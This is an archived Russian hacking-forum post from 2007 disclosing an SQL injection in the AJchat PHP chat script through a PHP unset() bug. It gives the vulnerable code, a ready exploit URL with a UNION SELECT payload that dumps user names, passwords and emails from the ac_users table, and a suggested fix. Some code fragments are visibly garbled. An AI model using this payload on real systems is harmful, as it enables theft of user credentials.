Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Чаты (https://forum.antichat.xyz/forumdisplay.php?f=10)
-   -   AJchat Remote Sql Injection using unset() bug (https://forum.antichat.xyz/showthread.php?t=37331)

gemaglabin 06.04.2007 18:07

AJchat Remote Sql Injection using unset() bug
 
В связи с отсуствием нормального применения баги , а именно в таблице хранятся только юзеры , выкладываю в паблик

Файл directory.php , самое начало кода

PHP код:

if (isset($_GET["s"])){
    
$_GET["s"] = strtoupper($_GET["s"]);
    if (
strlen($_GET["s"])==&& $_GET["s"]>='A' && $_GET["s"]<='Z'){
        
// nothing
    
}else unset($_GET['s']);



По задумке програмистов - если введенные данные не в пределах от a..z то unset() переменной - вычисляем ключи для php4 и для php5 и эксплуатируем

Код:

directory.php?s='and1=2union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1
Вендор : http://ajchat.sourceforge.net/

Решение
PHP код:

if (isset($_GET["s"])){
    
$_GET["s"] = strtoupper($_GET["s"]);
    if (
strlen($_GET["s"])==&& $_GET["s"]>='A' && $_GET["s"]<='Z'){
        
// nothing
    
}else 
{
$_GET['s'] = NULL;
unset(
$_GET['s']);




Время: 00:32